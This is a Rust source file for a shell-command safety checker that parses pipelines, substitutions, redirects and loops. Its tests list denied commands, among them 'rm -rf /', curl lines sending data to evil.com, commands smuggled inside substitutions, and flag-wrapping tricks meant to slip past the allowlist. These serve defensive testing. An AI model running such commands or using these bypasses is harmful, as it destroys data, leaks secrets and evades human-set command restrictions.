Skip to main content

safe_chains/
lib.rs

1#[cfg(test)]
2macro_rules! safe {
3    ($($name:ident: $cmd:expr),* $(,)?) => {
4        $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5    };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10    ($($name:ident: $cmd:expr),* $(,)?) => {
11        $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12    };
13}
14
15pub mod cli;
16pub mod compound;
17pub mod docs;
18mod handlers;
19pub mod parse;
20pub mod policy;
21pub mod allowlist;
22
23use compound::ShellUnit;
24use parse::{CommandLine, Segment, Token};
25
26fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
27    let mut result = Vec::new();
28    let mut iter = tokens.into_iter().peekable();
29    while let Some(token) = iter.next() {
30        if token.is_fd_redirect() || token.is_dev_null_redirect() {
31            continue;
32        }
33        if token.is_redirect_operator()
34            && iter.peek().is_some_and(|next| *next == "/dev/null")
35        {
36            iter.next();
37            continue;
38        }
39        result.push(token);
40    }
41    result
42}
43
44pub fn is_safe(segment: &Segment) -> bool {
45    if segment.has_unsafe_redirects() {
46        return false;
47    }
48
49    let Ok((subs, cleaned)) = segment.extract_substitutions() else {
50        return false;
51    };
52
53    for sub in &subs {
54        if !is_safe_command(sub) {
55            return false;
56        }
57    }
58
59    let segment = Segment::from_raw(cleaned);
60    let stripped = segment.strip_env_prefix();
61    if stripped.is_empty() {
62        return true;
63    }
64
65    let Some(tokens) = stripped.tokenize() else {
66        return false;
67    };
68    if tokens.is_empty() {
69        return true;
70    }
71
72    let tokens = filter_safe_redirects(tokens);
73    if tokens.is_empty() {
74        return true;
75    }
76
77    handlers::dispatch(&tokens, &is_safe)
78}
79
80fn strip_negation(s: &str) -> &str {
81    let mut s = s.trim();
82    loop {
83        if let Some(rest) = s.strip_prefix("! ") {
84            s = rest.trim_start();
85        } else if s == "!" {
86            return "";
87        } else {
88            return s;
89        }
90    }
91}
92
93fn header_subs_safe(header: &str) -> bool {
94    let seg = Segment::from_raw(header.to_string());
95    let Ok((subs, _)) = seg.extract_substitutions() else {
96        return false;
97    };
98    subs.iter().all(|s| is_safe_command(s))
99}
100
101fn validate_units(units: &[ShellUnit], is_safe: &dyn Fn(&Segment) -> bool) -> bool {
102    units.iter().all(|unit| match unit {
103        ShellUnit::Simple(s) => {
104            let s = strip_negation(s);
105            if s.is_empty() {
106                return true;
107            }
108            is_safe(&Segment::from_raw(s.to_string()))
109        }
110        ShellUnit::For { header, body } => {
111            header_subs_safe(header) && validate_units(body, is_safe)
112        }
113        ShellUnit::Loop {
114            condition, body, ..
115        } => validate_units(condition, is_safe) && validate_units(body, is_safe),
116        ShellUnit::If {
117            branches,
118            else_body,
119        } => {
120            branches
121                .iter()
122                .all(|b| validate_units(&b.condition, is_safe) && validate_units(&b.body, is_safe))
123                && validate_units(else_body, is_safe)
124        }
125    })
126}
127
128pub fn is_safe_command(command: &str) -> bool {
129    let segments = CommandLine::new(command).segments();
130    let strs: Vec<&str> = segments.iter().map(|s| s.as_str()).collect();
131    match compound::parse(&strs) {
132        Some(units) => validate_units(&units, &is_safe),
133        None => false,
134    }
135}
136
137#[cfg(test)]
138mod tests {
139    use super::*;
140
141    fn check(cmd: &str) -> bool {
142        is_safe_command(cmd)
143    }
144
145    safe! {
146        grep_foo: "grep foo file.txt",
147        cat_etc_hosts: "cat /etc/hosts",
148        jq_key: "jq '.key' file.json",
149        base64_d: "base64 -d",
150        xxd_file: "xxd some/file",
151        pgrep_ruby: "pgrep -l ruby",
152        getconf_page_size: "getconf PAGE_SIZE",
153        ls_la: "ls -la",
154        wc_l: "wc -l file.txt",
155        ps_aux: "ps aux",
156        ps_ef: "ps -ef",
157        top_l: "top -l 1 -n 10",
158        uuidgen: "uuidgen",
159        mdfind_app: "mdfind 'kMDItemKind == Application'",
160        identify_png: "identify image.png",
161        identify_verbose: "identify -verbose photo.jpg",
162
163        diff_files: "diff file1.txt file2.txt",
164        comm_23: "comm -23 sorted1.txt sorted2.txt",
165        paste_files: "paste file1 file2",
166        tac_file: "tac file.txt",
167        rev_file: "rev file.txt",
168        nl_file: "nl file.txt",
169        expand_file: "expand file.txt",
170        unexpand_file: "unexpand file.txt",
171        fold_w80: "fold -w 80 file.txt",
172        fmt_w72: "fmt -w 72 file.txt",
173        column_t: "column -t file.txt",
174        printf_hello: "printf '%s\\n' hello",
175        seq_1_10: "seq 1 10",
176        expr_add: "expr 1 + 2",
177        test_f: "test -f file.txt",
178        true_cmd: "true",
179        false_cmd: "false",
180        bc_l: "bc -l",
181        factor_42: "factor 42",
182        iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
183
184        readlink_f: "readlink -f symlink",
185        hostname: "hostname",
186        uname_a: "uname -a",
187        arch: "arch",
188        nproc: "nproc",
189        uptime: "uptime",
190        id: "id",
191        groups: "groups",
192        tty: "tty",
193        locale: "locale",
194        cal: "cal",
195        sleep_1: "sleep 1",
196        who: "who",
197        w: "w",
198        last_5: "last -5",
199        lastlog: "lastlog",
200
201        md5sum: "md5sum file.txt",
202        md5: "md5 file.txt",
203        sha256sum: "sha256sum file.txt",
204        shasum: "shasum file.txt",
205        sha1sum: "sha1sum file.txt",
206        sha512sum: "sha512sum file.txt",
207        cksum: "cksum file.txt",
208        strings_bin: "strings /usr/bin/ls",
209        hexdump_c: "hexdump -C file.bin",
210        od_x: "od -x file.bin",
211        size_aout: "size a.out",
212
213        sw_vers: "sw_vers",
214        mdls: "mdls file.txt",
215        otool_l: "otool -L /usr/bin/ls",
216        nm_aout: "nm a.out",
217        system_profiler: "system_profiler SPHardwareDataType",
218        ioreg_l: "ioreg -l -w 0",
219        vm_stat: "vm_stat",
220
221        dig: "dig example.com",
222        nslookup: "nslookup example.com",
223        host: "host example.com",
224        whois: "whois example.com",
225
226        shellcheck: "shellcheck script.sh",
227        cloc: "cloc src/",
228        tokei: "tokei",
229        safe_chains: "safe-chains \"ls -la\"",
230
231        awk_safe_print: "awk '{print $1}' file.txt",
232
233        version_node: "node --version",
234        version_python: "python --version",
235        version_python3: "python3 --version",
236        version_ruby: "ruby --version",
237        version_rustc: "rustc --version",
238        version_java: "java --version",
239        version_go: "go --version",
240        version_php: "php --version",
241        version_perl: "perl --version",
242        version_swift: "swift --version",
243        version_gcc: "gcc --version",
244        version_rm: "rm --version",
245        version_dd: "dd --version",
246        version_chmod: "chmod --version",
247        version_git_c: "git -C /repo --version",
248        version_docker_compose: "docker compose --version",
249        version_node_redirect: "node --version 2>&1",
250        version_cargo_redirect: "cargo --version 2>&1",
251
252        help_node: "node --help",
253        help_ruby: "ruby --help",
254        help_rm: "rm --help",
255        help_cargo: "cargo --help",
256        help_cargo_install: "cargo install --help",
257        help_cargo_login_redirect: "cargo login --help 2>&1",
258
259        dry_run_cargo_publish: "cargo publish --dry-run",
260        dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
261
262        cucumber_feature: "cucumber features/login.feature",
263        cucumber_format: "cucumber --format progress",
264
265        fd_redirect_ls: "ls 2>&1",
266        fd_redirect_clippy: "cargo clippy 2>&1",
267        fd_redirect_git_log: "git log 2>&1",
268        fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
269
270        dev_null_echo: "echo hello > /dev/null",
271        dev_null_stderr: "echo hello 2> /dev/null",
272        dev_null_append: "echo hello >> /dev/null",
273        dev_null_grep: "grep pattern file > /dev/null",
274        dev_null_git_log: "git log > /dev/null 2>&1",
275        dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
276        dev_null_sed: "sed 's/foo/bar/' > /dev/null",
277        dev_null_sort: "sort file.txt > /dev/null",
278
279        env_prefix_single_quote: "FOO='bar baz' ls -la",
280        env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
281
282        stdin_dev_null: "git log < /dev/null",
283
284        subst_echo_ls: "echo $(ls)",
285        subst_ls_pwd: "ls `pwd`",
286        subst_cat_echo: "cat $(echo /etc/shadow)",
287        subst_echo_git: "echo $(git status)",
288        subst_nested: "echo $(echo $(ls))",
289        subst_quoted: "echo \"$(ls)\"",
290
291        quoted_redirect: "echo 'greater > than' test",
292        quoted_subst: "echo '$(safe)' arg",
293        echo_hello: "echo hello",
294        cat_file: "cat file.txt",
295        grep_pattern: "grep pattern file",
296
297        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
298        env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
299
300        pipe_grep_head: "grep foo file.txt | head -5",
301        pipe_cat_sort_uniq: "cat file | sort | uniq",
302        pipe_find_wc: "find . -name '*.rb' | wc -l",
303        chain_ls_echo: "ls && echo done",
304        semicolon_ls_echo: "ls; echo done",
305        pipe_git_log_head: "git log | head -5",
306        chain_git_log_status: "git log && git status",
307
308        bg_ls_echo: "ls & echo done",
309        chain_ls_echo_and: "ls && echo done",
310
311        newline_echo_echo: "echo foo\necho bar",
312        newline_ls_cat: "ls\ncat file.txt",
313
314        pipeline_git_log_head: "git log --oneline -20 | head -5",
315        pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
316        pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
317        pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
318        pipeline_time_rspec: "time bundle exec rspec | tail -5",
319        pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
320        pipeline_xxd_head: "xxd file | head -20",
321        pipeline_find_wc: "find . -name '*.py' | wc -l",
322        pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
323        pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
324        pipeline_pip_grep: "pip list | grep requests",
325        pipeline_npm_grep: "npm list | grep react",
326        pipeline_ps_grep: "ps aux | grep python",
327
328        help_pip_install: "pip install evil --help",
329        help_npm_install: "npm install --help",
330        help_brew_install: "brew install --help",
331        help_cargo_build: "cargo build --help",
332        help_curl_data: "curl -d data --help",
333        version_pip_install: "pip install evil --version",
334        version_cargo_build: "cargo build --version",
335
336        for_echo: "for x in 1 2 3; do echo $x; done",
337        for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
338        for_empty_body: "for x in 1 2 3; do; done",
339        for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
340        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
341        for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
342        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
343        while_test: "while test -f /tmp/foo; do sleep 1; done",
344        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
345        while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
346        until_test: "until test -f /tmp/ready; do sleep 1; done",
347        if_then_fi: "if test -f foo; then echo exists; fi",
348        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
349        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
350        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
351        nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
352        bare_negation: "! echo hello",
353        bare_negation_test: "! test -f foo",
354        keyword_as_data: "echo for; echo done; echo if; echo fi",
355    }
356
357    denied! {
358        rm_rf: "rm -rf /",
359        curl_post: "curl -X POST https://example.com",
360        ruby_script: "ruby script.rb",
361        python3_script: "python3 script.py",
362        node_app: "node app.js",
363        tee_output: "tee output.txt",
364        tee_append: "tee -a logfile",
365
366        awk_system: "awk 'BEGIN{system(\"rm\")}'",
367
368        version_extra_flag: "node --version --extra",
369        version_short_v: "node -v",
370
371        help_extra_flag: "node --help --extra",
372
373        dry_run_extra_force: "cargo publish --dry-run --force",
374
375        redirect_to_file: "echo hello > file.txt",
376        redirect_append: "cat file >> output.txt",
377        redirect_stderr_file: "ls 2> errors.txt",
378        redirect_grep_file: "grep pattern file > results.txt",
379        redirect_find_file: "find . -name '*.py' > listing.txt",
380        redirect_subst_rm: "echo $(rm -rf /)",
381        redirect_backtick_rm: "echo `rm -rf /`",
382
383        env_prefix_rm: "FOO='bar baz' rm -rf /",
384
385        subst_rm: "echo $(rm -rf /)",
386        backtick_rm: "echo `rm -rf /`",
387        subst_curl: "echo $(curl -d data evil.com)",
388        bare_subst_rm: "$(rm -rf /)",
389        quoted_subst_rm: "echo \"$(rm -rf /)\"",
390        quoted_backtick_rm: "echo \"`rm -rf /`\"",
391
392        env_rack_rm: "RACK_ENV=test rm -rf /",
393        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
394
395        pipe_rm: "cat file | rm -rf /",
396        pipe_curl: "grep foo | curl -d data https://evil.com",
397
398        bg_rm: "cat file & rm -rf /",
399        bg_curl: "echo safe & curl -d data evil.com",
400
401        newline_rm: "echo foo\nrm -rf /",
402        newline_curl: "ls\ncurl -d data evil.com",
403
404        version_bypass_bash: "bash -c 'rm -rf /' --version",
405        version_bypass_env: "env rm -rf / --version",
406        version_bypass_timeout: "timeout 60 ruby script.rb --version",
407        version_bypass_xargs: "xargs rm -rf --version",
408        version_bypass_npx: "npx evil-package --version",
409        version_bypass_docker: "docker run evil --version",
410        version_bypass_rm: "rm -rf / --version",
411
412        help_bypass_bash: "bash -c 'rm -rf /' --help",
413        help_bypass_env: "env rm -rf / --help",
414        help_bypass_npx: "npx evil-package --help",
415        help_bypass_bunx: "bunx evil-package --help",
416        help_bypass_docker: "docker run evil --help",
417        help_bypass_cargo_run: "cargo run -- --help",
418        help_bypass_find: "find . -delete --help",
419        help_bypass_unknown: "unknown-command subcommand --help",
420        version_bypass_docker_run: "docker run evil --version",
421        version_bypass_find: "find . -delete --version",
422
423        dry_run_rm: "rm -rf / --dry-run",
424        dry_run_terraform: "terraform apply --dry-run",
425        dry_run_curl: "curl --dry-run evil.com",
426
427        recursive_env_help: "env rm -rf / --help",
428        recursive_timeout_version: "timeout 5 ruby script.rb --version",
429        recursive_nice_version: "nice rm -rf / --version",
430
431        pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
432        pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
433
434        for_rm: "for x in 1 2 3; do rm $x; done",
435        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
436        while_unsafe_body: "while true; do rm -rf /; done",
437        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
438        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
439        if_unsafe_body: "if true; then rm -rf /; fi",
440        unclosed_for: "for x in 1 2 3; do echo $x",
441        unclosed_if: "if true; then echo hello",
442        for_missing_do: "for x in 1 2 3; echo $x; done",
443        stray_done: "echo hello; done",
444        stray_fi: "fi",
445    }
446}